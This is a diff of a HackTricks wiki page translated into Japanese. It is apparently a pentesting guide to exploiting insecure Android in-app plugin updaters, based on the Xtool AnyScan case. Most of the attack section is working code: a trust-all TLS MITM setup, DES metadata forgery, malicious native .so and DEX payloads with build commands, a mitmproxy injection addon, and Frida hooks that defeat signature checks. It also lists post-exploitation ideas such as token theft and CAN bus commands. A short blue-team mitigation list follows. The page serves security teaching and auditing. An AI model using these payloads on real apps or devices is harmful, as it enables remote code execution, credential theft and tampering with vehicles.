mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/mobile-pentesting/android-app-pentesting/insecure-in-ap
This commit is contained in:
parent
513e47c584
commit
6a0338ba3e
@ -1,16 +1,49 @@
|
||||
# Insecure In-App Update Mechanisms – Remote Code Execution via Malicious Plugins
|
||||
# 不安全なアプリ内アップデート機構 – Remote Code Execution via Malicious Plugins
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
多くのAndroidアプリケーションは、Google Playストアを使用する代わりに**独自の「プラグイン」または「動的機能」アップデートチャネル**を実装しています。 実装が不安全な場合、トラフィックを傍受できる攻撃者は、**アプリプロセス内にロードされる任意のネイティブコードを提供することができ**、これによりハンドセット上での完全なリモートコード実行(RCE)につながります。場合によっては、アプリが制御する外部デバイス(車両、IoT、医療機器など)でも同様です。
|
||||
多くのAndroidアプリはGoogle Play Storeの代わりに独自の「plugin」や「dynamic feature」アップデートチャネルを実装しています。実装が不十分な場合、更新トラフィックを傍受または改ざんできる攻撃者は、アプリプロセス内にロードされる任意のnativeまたはDalvik/ARTコードを供給でき、端末上で完全な Remote Code Execution (RCE) を引き起こします — 場合によってはアプリが制御する外部デバイス(cars, IoT, medical devices …)上でも同様です。
|
||||
|
||||
このページでは、Xtool **AnyScan**自動車診断アプリ(v4.40.11 → 4.40.40)で発見された実際の脆弱性チェーンを要約し、他のAndroidアプリを監査し、レッドチームのエンゲージメント中に誤設定を武器化できるように技術を一般化します。
|
||||
本ページは Xtool AnyScan automotive-diagnostics app (v4.40.11 → 4.40.40) で発見された実際の脆弱性連鎖を要約し、この手法を一般化して他のAndroidアプリを監査し、red-teamでのエンゲージメント時にその誤設定を悪用できるようにしています。
|
||||
|
||||
---
|
||||
## 1. 不安全なTLS TrustManagerの特定
|
||||
## 0. クイックトリアージ:アプリに in‑app updater はあるか?
|
||||
|
||||
1. jadx / apktoolを使用してAPKを逆コンパイルし、ネットワーキングスタック(OkHttp、HttpUrlConnection、Retrofitなど)を特定します。
|
||||
2. すべての証明書を盲目的に信頼する**カスタム`TrustManager`**または`HostnameVerifier`を探します:
|
||||
JADX/apktool で見る静的なヒント:
|
||||
- 文字列: "update", "plugin", "patch", "upgrade", "hotfix", "bundle", "feature", "asset", "zip".
|
||||
- ネットワークエンドポイント例: `/update`, `/plugins`, `/getUpdateList`, `/GetUpdateListEx`.
|
||||
- アップデート経路付近の暗号ヘルパー (DES/AES/RC4; Base64; JSON/XML パック).
|
||||
- 動的ローダー: `System.load`, `System.loadLibrary`, `dlopen`, `DexClassLoader`, `PathClassLoader`.
|
||||
- アプリ内部または外部ストレージに書き込み、その直後に `.so`/DEX をロードするような解凍パス。
|
||||
|
||||
ランタイムで確認するフック:
|
||||
```js
|
||||
// Frida: log native and dex loading
|
||||
Java.perform(() => {
|
||||
const Runtime = Java.use('java.lang.Runtime');
|
||||
const SystemJ = Java.use('java.lang.System');
|
||||
const DexClassLoader = Java.use('dalvik.system.DexClassLoader');
|
||||
|
||||
SystemJ.load.overload('java.lang.String').implementation = function(p) {
|
||||
console.log('[System.load] ' + p); return this.load(p);
|
||||
};
|
||||
SystemJ.loadLibrary.overload('java.lang.String').implementation = function(n) {
|
||||
console.log('[System.loadLibrary] ' + n); return this.loadLibrary(n);
|
||||
};
|
||||
Runtime.load.overload('java.lang.String').implementation = function(p){
|
||||
console.log('[Runtime.load] ' + p); return this.load(p);
|
||||
};
|
||||
DexClassLoader.$init.implementation = function(dexPath, optDir, libPath, parent) {
|
||||
console.log(`[DexClassLoader] dex=${dexPath} odex=${optDir} jni=${libPath}`);
|
||||
return this.$init(dexPath, optDir, libPath, parent);
|
||||
};
|
||||
});
|
||||
```
|
||||
---
|
||||
## 1. 脆弱な TLS TrustManager を特定する
|
||||
|
||||
1. APK を jadx / apktool で逆コンパイルし、ネットワーキングスタック(OkHttp, HttpUrlConnection, Retrofit…)を探す。
|
||||
2. すべての証明書を無条件に信頼するカスタム `TrustManager` や `HostnameVerifier` を探す:
|
||||
```java
|
||||
public static TrustManager[] buildTrustManagers() {
|
||||
return new TrustManager[]{
|
||||
@ -22,25 +55,36 @@ public X509Certificate[] getAcceptedIssuers() {return new X509Certificate[]{};}
|
||||
};
|
||||
}
|
||||
```
|
||||
3. 存在する場合、アプリケーションは**任意のTLS証明書**を受け入れます → 自己署名証明書を使用して透明な**MITMプロキシ**を実行できます:
|
||||
3. 存在する場合、アプリケーションは任意の TLS 証明書を受け入れます → self-signed cert を使って transparent MITM proxy を実行できます:
|
||||
```bash
|
||||
mitmproxy -p 8080 -s addon.py # see §4
|
||||
iptables -t nat -A OUTPUT -p tcp --dport 443 -j REDIRECT --to-ports 8080 # on rooted device / emulator
|
||||
```
|
||||
## 2. アップデートメタデータのリバースエンジニアリング
|
||||
If TLS pinning が unsafe trust-all ロジックの代わりに強制されている場合は、次を参照してください:
|
||||
|
||||
AnyScanのケースでは、各アプリの起動がHTTPS GETをトリガーします:
|
||||
{{#ref}}
|
||||
android-anti-instrumentation-and-ssl-pinning-bypass.md
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
make-apk-accept-ca-certificate.md
|
||||
{{#endref}}
|
||||
|
||||
---
|
||||
## 2. Reverse-Engineering the Update Metadata
|
||||
|
||||
AnyScan の場合、各アプリ起動時に以下への HTTPS GET がトリガーされます:
|
||||
```
|
||||
https://apigw.xtoolconnect.com/uhdsvc/UpgradeService.asmx/GetUpdateListEx
|
||||
```
|
||||
レスポンスボディは、すべての利用可能なプラグインを記述した**Base64エンコードされた、DES-ECB暗号化された**JSONを含む**XMLドキュメント**です。
|
||||
レスポンスボディは XML ドキュメントで、`<FileData>` ノードには各利用可能なプラグインを記述した Base64-encoded、DES-ECB encrypted JSON が含まれます。
|
||||
|
||||
典型的なハンティングステップ:
|
||||
1. 暗号化ルーチン(例:`RemoteServiceProxy`)を特定し、以下を回復します:
|
||||
* アルゴリズム(DES / AES / RC4 …)
|
||||
* 動作モード(ECB / CBC / GCM …)
|
||||
* ハードコーディングされたキー / IV(通常は56ビットDESキーまたは128ビットAESキーが定数に含まれています)
|
||||
2. メタデータを復号化 / 暗号化するために、Pythonで関数を再実装します:
|
||||
Typical hunting steps:
|
||||
1. 暗号処理ルーチン(例:`RemoteServiceProxy`)を特定し、以下を復元します:
|
||||
- アルゴリズム (DES / AES / RC4 …)
|
||||
- 動作モード (ECB / CBC / GCM …)
|
||||
- ハードコードされた key / IV(一般的に 56‑bit DES や 128‑bit AES の定数)
|
||||
2. メタデータを decrypt / encrypt するために、その関数を Python で再実装します:
|
||||
```python
|
||||
from Crypto.Cipher import DES
|
||||
from base64 import b64decode, b64encode
|
||||
@ -55,9 +99,17 @@ def encrypt_metadata(plaintext: bytes) -> str:
|
||||
cipher = DES.new(KEY, DES.MODE_ECB)
|
||||
return b64encode(cipher.encrypt(plaintext.ljust((len(plaintext)+7)//8*8, b"\x00"))).decode()
|
||||
```
|
||||
Notes seen in the wild (2023–2025):
|
||||
- Metadata はしばしば JSON-within-XML または protobuf で、弱い暗号や静的キーがよく見られます。
|
||||
- 多くの updaters は、metadata が HTTPS 経由でも実際のペイロードダウンロードに plain HTTP を許容します。
|
||||
- Plugins は頻繁に app-internal storage に解凍されます;一部は外部ストレージやレガシーな `requestLegacyExternalStorage` をまだ使用しており、cross-app tampering を可能にします。
|
||||
|
||||
---
|
||||
## 3. 悪意のあるプラグインを作成する
|
||||
|
||||
1. 任意の正当なプラグインZIPを選択し、ネイティブライブラリをあなたのペイロードで置き換えます:
|
||||
### 3.1 ネイティブライブラリパス (dlopen/System.load[Library])
|
||||
|
||||
1. 任意の正規のプラグイン ZIP を選び、ネイティブライブラリをあなたの payload に置き換えます:
|
||||
```c
|
||||
// libscan_x64.so – constructor runs as soon as the library is loaded
|
||||
__attribute__((constructor))
|
||||
@ -71,12 +123,37 @@ __android_log_print(ANDROID_LOG_INFO, "PWNED", "Exploit loaded! uid=%d", getuid(
|
||||
$ aarch64-linux-android-gcc -shared -fPIC payload.c -o libscan_x64.so
|
||||
$ zip -r PWNED.zip libscan_x64.so assets/ meta.txt
|
||||
```
|
||||
2. JSONメタデータを更新して、`"FileName" : "PWNED.zip"` と `"DownloadURL"` があなたのHTTPサーバーを指すようにします。
|
||||
3. 修正したJSONをDESで暗号化し、Base64でエンコードして、インターセプトしたXMLの中に戻します。
|
||||
2. JSON メタデータを更新して `"FileName" : "PWNED.zip"` と `"DownloadURL"` があなたの HTTP サーバーを指すようにします。
|
||||
3. 変更した JSON を再暗号化して Base64 エンコードし、傍受した XML に戻します。
|
||||
|
||||
## 4. mitmproxyでペイロードを配信する
|
||||
### 3.2 Dex ベースのプラグインパス (DexClassLoader)
|
||||
|
||||
`addon.py`の例は、*静かに*元のメタデータを入れ替えます:
|
||||
一部のアプリは JAR/APK をダウンロードして `DexClassLoader` 経由でコードをロードします。ロード時にトリガーする悪意ある DEX を作成します:
|
||||
```java
|
||||
// src/pwn/Dropper.java
|
||||
package pwn;
|
||||
public class Dropper {
|
||||
static { // runs on class load
|
||||
try {
|
||||
Runtime.getRuntime().exec("sh -c 'id > /data/data/<pkg>/files/pwned' ");
|
||||
} catch (Throwable t) {}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
```bash
|
||||
# Compile and package to a DEX jar
|
||||
javac -source 1.8 -target 1.8 -d out/ src/pwn/Dropper.java
|
||||
jar cf dropper.jar -C out/ .
|
||||
d8 --output outdex/ dropper.jar
|
||||
cd outdex && zip -r plugin.jar classes.dex # the updater will fetch this
|
||||
```
|
||||
ターゲットが `Class.forName("pwn.Dropper")` を呼び出すと、static initializer(静的イニシャライザ)が実行されます。そうでない場合は、Frida を使って読み込まれたクラスをリフレクティブに列挙し、エクスポートされたメソッドを呼び出します。
|
||||
|
||||
---
|
||||
## 4. mitmproxyでペイロードを配信
|
||||
|
||||
`addon.py` の例(元のメタデータを静かに差し替える):
|
||||
```python
|
||||
from mitmproxy import http
|
||||
MOD_XML = open("fake_metadata.xml", "rb").read()
|
||||
@ -89,36 +166,69 @@ MOD_XML,
|
||||
{"Content-Type": "text/xml"}
|
||||
)
|
||||
```
|
||||
悪意のあるZIPをホストするためにシンプルなウェブサーバーを実行します:
|
||||
悪意のある ZIP/JAR をホストするために、簡易的な Web サーバーを起動する:
|
||||
```bash
|
||||
python3 -m http.server 8000 --directory ./payloads
|
||||
```
|
||||
被害者がアプリを起動すると、以下のことが行われます:
|
||||
* MITMチャネルを介して偽造されたXMLを取得します;
|
||||
* ハードコーディングされたDESキーでそれを復号化し、解析します;
|
||||
* `PWNED.zip`をダウンロードし、プライベートストレージ内に解凍します;
|
||||
* 含まれている*libscan_x64.so*を`dlopen()`し、アプリの権限(カメラ、GPS、Bluetooth、ファイルシステムなど)でコードを即座に実行します。
|
||||
被害者がアプリを起動すると、次の処理が行われます:
|
||||
- MITM チャンネル経由で改ざんした XML を取得する;
|
||||
- ハードコードされた crypto でそれを復号・解析する;
|
||||
- `PWNED.zip` または `plugin.jar` をダウンロード → プライベートストレージ内で解凍する;
|
||||
- 含まれる `.so` または DEX をロードし、アプリの権限(camera, GPS, Bluetooth, filesystem, …)で即座にコードを実行する。
|
||||
|
||||
プラグインはディスクにキャッシュされるため、バックドアは**再起動を跨いで持続**し、ユーザーが関連する機能を選択するたびに実行されます。
|
||||
|
||||
## 5. ポストエクスプロイトのアイデア
|
||||
|
||||
* アプリによって保存されたセッションクッキー、OAuthトークン、またはJWTを盗む。
|
||||
* 第二段階のAPKをドロップし、`pm install`を介して静かにインストールする(アプリはすでに`REQUEST_INSTALL_PACKAGES`を持っています)。
|
||||
* 接続されたハードウェアを悪用する – AnyScanシナリオでは、任意の**OBD-II / CANバスコマンド**を送信できます(ドアのロック解除、ABSの無効化など)。
|
||||
plugin がディスクにキャッシュされるため backdoor は再起動後も持続し、ユーザーが関連機能を選択するたびに実行される。
|
||||
|
||||
---
|
||||
### 検出と緩和チェックリスト(ブルーチーム)
|
||||
## 4.1 シグネチャ/ハッシュチェックのバイパス(存在する場合)
|
||||
|
||||
* 証明書検証を無効にするカスタムTrustManager/HostnameVerifierを持つプロダクションビルドを絶対に出荷しないでください。
|
||||
* Google Playの外部から実行可能なコードをダウンロードしないでください。もし*必須*であれば、各プラグインに同じ**apkSigning v2**キーで署名し、読み込む前に署名を検証してください。
|
||||
* 弱い/ハードコーディングされた暗号を**AES-GCM**とサーバー側のローテーションキーに置き換えます。
|
||||
* ダウンロードしたアーカイブの整合性を検証します(署名または少なくともSHA-256)。
|
||||
アップデータがシグネチャやハッシュを検証している場合、検証処理をフックして常に攻撃者のコンテンツを受け入れるようにする:
|
||||
```js
|
||||
// Frida – make java.security.Signature.verify() return true
|
||||
Java.perform(() => {
|
||||
const Sig = Java.use('java.security.Signature');
|
||||
Sig.verify.overload('[B').implementation = function(a) { return true; };
|
||||
});
|
||||
|
||||
// Less surgical (use only if needed): defeat Arrays.equals() for byte[]
|
||||
Java.perform(() => {
|
||||
const Arrays = Java.use('java.util.Arrays');
|
||||
Arrays.equals.overload('[B', '[B').implementation = function(a, b) { return true; };
|
||||
});
|
||||
```
|
||||
また、`PluginVerifier.verifySignature()`、`checkHash()` のようなベンダー提供メソッドをスタブ化したり、Java や JNI 内の更新ゲーティングロジックをショートサーキットすることも検討してください。
|
||||
|
||||
---
|
||||
## 参考文献
|
||||
## 5. アップデータにおけるその他の攻撃面 (2023–2025)
|
||||
|
||||
- Zip Slip パス・トラバーサルによるプラグイン展開時の脆弱性: `../../../../data/data/<pkg>/files/target` のような悪意あるエントリが任意のファイルを上書きする。エントリパスを常に正規化・サニタイズし、許可リストを使用すること。
|
||||
- 外部ストレージでのステージング: アプリが読み込む前にアーカイブを外部ストレージに書き込むと、他のアプリが改ざんできる。Scoped Storage またはアプリ内部ストレージで回避可能。
|
||||
- 平文ダウンロード: メタデータは HTTPS だがペイロードが HTTP の場合 → 簡単に MITM による差し替えが可能。
|
||||
- 不完全な署名チェック: 単一ファイルのハッシュのみを比較してアーカイブ全体を検証していない、署名を開発者キーに紐付けていない、アーカイブ内にある任意の RSA キーを受け入れてしまう等。
|
||||
- React Native / Web ベースの OTA コンテンツ: ネイティブブリッジが OTA から受け取った JS を厳密な署名なしで実行すると、アプリコンテキスト内で任意のコード実行が可能になる(例: insecure CodePush-like フロー)。detached update signing と厳格な検証を確保すること。
|
||||
|
||||
---
|
||||
## 6. ポストエクスプロイトのアイデア
|
||||
|
||||
- アプリに保存されているセッションクッキー、OAuth トークン、または JWT を窃取する。
|
||||
- 二段階目の APK を配置し、可能なら `pm install` でサイレントインストールする(既に `REQUEST_INSTALL_PACKAGES` を宣言しているアプリもある)。
|
||||
- 接続ハードウェアを悪用する — AnyScan のケースでは任意の OBD‑II / CAN バスコマンドを送信できる(ドアのアンロック、ABS の無効化など)。
|
||||
|
||||
---
|
||||
### 検出と緩和チェックリスト(blue team)
|
||||
|
||||
- 動的コード読み込みやストア外のアップデートを避ける。Play‑mediated updates を優先する。動的プラグインが必須の場合は、それらをデータ専用バンドルとして設計し、実行コードはベース APK に保持すること。
|
||||
- TLS を適切に強制する: 全てを信頼するカスタムマネージャを使わない。可能な場合はピンニングを導入し、平文トラフィックを禁止する堅牢な network security config を適用する。
|
||||
- Google Play 外から実行可能コードをダウンロードしないこと。止むを得ない場合は、開発者保有のキーによる detached update signing(例: Ed25519/RSA)を使用し、ロード前に検証する。メタデータとペイロード(長さ、ハッシュ、バージョン)を紐付け、失敗時は安全に失敗させる(fail closed)。
|
||||
- メタデータには per‑message nonce を伴う現代的な暗号(AES‑GCM)を使用し、クライアントからハードコードされたキーを削除する。
|
||||
- ダウンロードしたアーカイブの整合性を検証する: すべてのファイルをカバーする署名を検証する、または最低でも SHA‑256 ハッシュのマニフェストを検証すること。余分な/不明なファイルは拒否する。
|
||||
- ダウンロードは app‑internal storage(または Android 10+ の scoped storage)に保存し、アプリ間での改ざんを防ぐファイル権限を使用する。
|
||||
- Zip Slip への対策: 展開前に zip エントリパスを正規化・検証し、絶対パスや `..` セグメントを拒否する。
|
||||
- Play “Code Transparency” を検討して、配布された DEX/ネイティブコードがビルドしたものと一致するかを開発者やユーザーが検証できるようにする(補助的な機能であり、APK 署名の代替ではない)。
|
||||
|
||||
---
|
||||
## References
|
||||
|
||||
- [NowSecure – Remote Code Execution Discovered in Xtool AnyScan App](https://www.nowsecure.com/blog/2025/07/16/remote-code-execution-discovered-in-xtool-anyscan-app-risks-to-phones-and-vehicles/)
|
||||
- [Android – Unsafe TrustManager patterns](https://developer.android.com/privacy-and-security/risks/unsafe-trustmanager)
|
||||
- [Android Developers – Dynamic Code Loading (risks and mitigations)](https://developer.android.com/privacy-and-security/risks/dynamic-code-loading)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user